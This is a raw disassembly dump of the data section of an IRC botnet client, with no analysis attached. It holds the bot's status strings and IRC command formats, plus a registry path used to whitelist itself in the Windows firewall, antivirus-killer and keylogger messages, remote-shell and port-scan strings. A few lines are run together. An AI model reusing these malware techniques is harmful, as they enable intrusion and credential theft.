aFailedToStartR	db ' Failed to start registry thread, error: <%d>.',0
		align 4
unk_4348F8	db    2			; DATA XREF: ___:0040F157o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRegistryMonito	db ' Registry monitor active.',0
		align 10h
unk_434930	db    2			; DATA XREF: ___:0040F137o
					; sub_40F6F1+60CBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 4
unk_43497C	db    2			; DATA XREF: ___:0040F0EAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSystemSecureMo	db ' System secure monitor active.',0
		align 4
unk_4349B8	db    2			; DATA XREF: ___:0040F0CAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartA	db 'Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_434A0C	db    2			; DATA XREF: ___:0040F07Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAvFwKillerActi	db 'AV/FW Killer active.',0
		align 4
dword_434A44	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: ___:0040F03Fo
		dd 2BBBB02h, 6F422020h,	74732074h, 65747261h, 2E64h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
					; DATA XREF: ___:0040EFF9o
		db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
		align 4
aSEnabledS	db '%s:*:Enabled:%s',0  ; DATA XREF: ___:0040EFD2o
aSDS		db '%s %d "%s"',0       ; DATA XREF: ___:0040EECDo
		align 10h
a_n_z_m_Patcher	db '.n.z.m. (patcher.p.l.g) .»».  TCPIP.SYSPatcher.',0
aSDriversTcpip_	db '%s\drivers\tcpip.sys',0 ; DATA XREF: sub_40F326+139o
		align 4
dword_434B48	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F326+F4o
		dd 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40F576+65o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40F576+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+6409o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+63F4o
		align 4
dword_434BBC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+63E7o
		dd 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_434BEC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+63CAo
		dd 2BBBB02h
aPasswordAccept	db '  Password accepted.',0
		align 4
dword_434C1C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+635Ao
		dd 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_434C58	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+62FCo
		dd 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40F6F1+62EDo
					; sub_40F6F1+634Bo
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40F6F1+62D9o
					; sub_40F6F1+6337o
		align 10h
asc_434CE0:				; DATA XREF: sub_40F6F1+62A9o
		unicode	0, <~>,0
dword_434CE4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+6258o
		dd 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_434D18	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+6179o
		dd 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_434D54	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+6171o
		dd 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 10h
dword_434D90	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+60FBo
		dd 2BBBB02h, 73252020h,	0
dword_434DB0	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_40F6F1+6055o
		dd 2202967h, 2002BBBBh,	20732520h, 74737973h, 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40F6F1+604Fo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_40F6F1+6048o
		align 10h
aSec		db 'sec',0              ; DATA XREF: sub_40F6F1+5FF0o
aSecure		db 'secure',0           ; DATA XREF: sub_40F6F1+5FDDo
		align 4
unk_434DFC	db    2			; DATA XREF: sub_40F6F1+5FD0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_434E44	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_434E54	dd 646E6946h, 6C696620h, 65hdword_434E60	dd 72027002h, 1F631F6Fh, 2E2Ehdword_434E6C	dd 636F7250h, 20737365h, 7473696Ch, 0dword_434E7C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5E59o
		dd 2BBBB02h, 65522020h,	6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1:loc_41553Fo
		align 4
dword_434EBC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5E39o
		dd 2BBBB02h, 69442020h,	6E6F6373h, 7463656Eh, 2E676E69h
		dd 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1:loc_41551Fo
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+5E0Ao
		align 4
dword_434F0C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5DC0o
		dd 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_434F48	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5D84o
		dd 2BBBB02h, 6F422020h,	44492074h, 7325203Ah, 2Eh
dword_434F70	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+5D59o
		dd 2029671Fh, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_434FB8	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+5CEEo
		dd 2029671Fh, 2BBBB02h,	694C2020h, 74207473h, 61657268h
		dd 2E7364h
dword_434FE4	dd 627573h	dword_434FE8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5C7Co
		dd 2BBBB02h, 6C412020h,	20736169h, 7473696Ch, 2Eh
dword_435010	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5C63o
		dd 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_435058	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5BD9o
		dd 2BBBB02h, 694C2020h,	6E697473h, 6F6C2067h, 2E67h
dword_435080	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5B5Ao
		dd 2BBBB02h, 654E2020h,	726F7774h, 6E49206Bh, 2E6F66h
dword_4350A8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5B2Fo
		dd 2BBBB02h, 79532020h,	6D657473h, 666E4920h, 2E6Fh
dword_4350D0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5AE2o
		dd 2BBBB02h, 65522020h,	69766F6Dh, 4220676Eh, 2E746Fh
unk_4350F8	db    2			; DATA XREF: sub_40F6F1+5ACFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_9	db 'Failed to start listing thread, error: <%d>.',0
		align 4
dword_435148	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_40F6F1+5A60o
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h,	73736563h
		dd 73696C20h, 2E74h
aFull		db 'full',0             ; DATA XREF: sub_40F6F1+5A40o
		align 10h
unk_435180	db    2			; DATA XREF: sub_40F6F1+59EBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunning	db 'Already running.',0
		align 4
unk_4351B4	db    2			; DATA XREF: sub_40F6F1+59BFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	64h, 6Bh
		db  65h	; e
		db 79h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_4351E4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5977o
		dd 2BBBB02h, 70552020h,	656D6974h, 7325203Ah, 2Eh
dword_43520C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_414FA8o
		dd 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_43523C	dd 7A026E02h, 201F6D1Fh, 646D6328h		db 2Eh
byte_435249	db 70h,	1Fh, 6Ch	; DATA XREF: ___:off_424C74o
		dd 2029671Fh, 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_435274	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5896o
		dd 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_4352AC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5880o
		dd 2BBBB02h, 65472020h,	6C432074h, 6F627069h, 2E647261h
		dd 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40F6F1+5856o
		align 4
unk_4352EC	db    2			; DATA XREF: sub_40F6F1:loc_414F37o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_435328	db    2			; DATA XREF: sub_40F6F1+582Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_43535C	db    2			; DATA XREF: sub_40F6F1:loc_414F0Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_435398	db    2			; DATA XREF: sub_40F6F1:loc_414F05o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_4353D4	db    2			; DATA XREF: sub_40F6F1+580Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
unk_435408	db    2			; DATA XREF: sub_40F6F1+57A5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_10	db 'Failed to start server thread, error: <%d>.',0
unk_435450	db    2			; DATA XREF: sub_40F6F1+5626o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_11	db '  Failed to start server thread, error: <%d>.',0
		align 4
unk_435498	db    2			; DATA XREF: sub_40F6F1+54F7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyRunni_0	db '  Already running.',0
unk_4354C4	db    2			; DATA XREF: sub_40F6F1+54DBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '   Failed to start search thread, error: <%d>.',0
unk_435510	db    2			; DATA XREF: sub_40F6F1+545Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForPa	db '   Searching for password.',0
unk_435548	db    2			; DATA XREF: sub_40F6F1+5378o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
dword_4355C0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5143o
		dd 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_4355F4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+512Ao
		dd 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_435624	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+510Ao
		dd 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_435654	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+50F1o
		dd 2BBBB02h, 52492020h,	61522043h, 25203A77h, 2E73h
dword_43567C	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40F6F1:loc_414764o
		dd 2029671Fh, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_4356B8	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+506Co
		dd 2029671Fh, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_4356EC	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40F6F1:loc_414717o
		dd 2029671Fh, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_435724	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+501Co
		dd 2029671Fh, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_40F6F1+5002o
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+4F77o
					; sub_40F6F1:loc_41550Bo
		align 10h
dword_435770	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4EEFo
		dd 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_4357A4	db    3			; DATA XREF: sub_40F6F1:loc_4145CBo
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5CouldnTOpenFi	db '5  Couldn',27h,'t open file: %s',0
		align 4
unk_4357E8	db    3			; DATA XREF: sub_40F6F1+4ED0o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5FileOpenedS	db '5  File opened: %s',0
		align 4
dword_435824	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4EA7o
		dd 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_435858	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_414549o
		dd 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 10h
dword_435890	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4E2Do
		dd 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
unk_4358BC	db    2			; DATA XREF: sub_40F6F1:loc_4144EAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTermin	db 'Failed to terminate process: %s',0
unk_4358FC	db    2			; DATA XREF: sub_40F6F1+4DEFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledS	db 'Process killed: %s',0
		align 10h
unk_435930	db    2			; DATA XREF: sub_40F6F1:loc_41448Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTerm_0	db 'Failed to terminate process ID: %s',0
		align 4
unk_435974	db    2			; DATA XREF: sub_40F6F1+4D92o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledI	db 'Process killed ID: %s',0
		align 4
dword_4359AC	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40F6F1+4D51o
		dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h,	2E277325h
		dd 0
dword_4359D8	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4CCCo
		dd 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_435A0C	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40F6F1+4C5Ao
		dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_435A30	db    2			; DATA XREF: sub_40F6F1+4C3Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_13	db 'Failed to start connection thread, error: <%d>.',0
dword_435A7C	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40F6F1+4BD0o
		dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h,	0
dword_435AA4	dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40F6F1:loc_414252o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh,	2E746E65h
		dd 0
unk_435AD0	db    2			; DATA XREF: sub_40F6F1+4B57o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	69h, 72h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_435AFC	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4B26o
		dd 2BBBB02h, 6F432020h,	6E616D6Dh, 203A7364h, 7325h
dword_435B24	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4B1Bo
		dd 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 10h
dword_435B60	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4ACCo
		dd 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 10h
dword_435B90	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4AB8o
		dd 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
a_n_z_m_Keylo_4	db '.n.z.m. (keylog.p.l.g) .»».  Unknow mode type.',0
					; DATA XREF: sub_40F6F1:loc_414138o
		align 4
a_n_z_m_Keylo_3	db '.n.z.m. (keylog.p.l.g) .»».  Failed to start logging thread, erro'
					; DATA XREF: sub_40F6F1+4A3Do
		db 'r: <%d>.',0
		align 10h
a_n_z_m_Keylo_2	db '.n.z.m. (keylog.p.l.g) .»».  Normal key logger active.',0
					; DATA XREF: sub_40F6F1+49C5o
		align 4
aNormal_0	db 'normal',0           ; DATA XREF: sub_40F6F1+4978o
		align 10h
a_n_z_m_Keylo_1	db '.n.z.m. (keylog.p.l.g) .»».  Pay sites key logger active.',0
					; DATA XREF: sub_40F6F1+4970o
		align 4
aPay		db 'pay',0              ; DATA XREF: sub_40F6F1+4911o
a_n_z_m_Keylo_0	db '.n.z.m. (keylog.p.l.g) .»».  Already running.',0
					; DATA XREF: sub_40F6F1+48F1o
		align 10h
a_n_z_m_Keylog_	db '.n.z.m. (keylog.p.l.g) .»».',0 ; DATA XREF: sub_40F6F1+48CCo
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_40F6F1+48C7o
		align 4
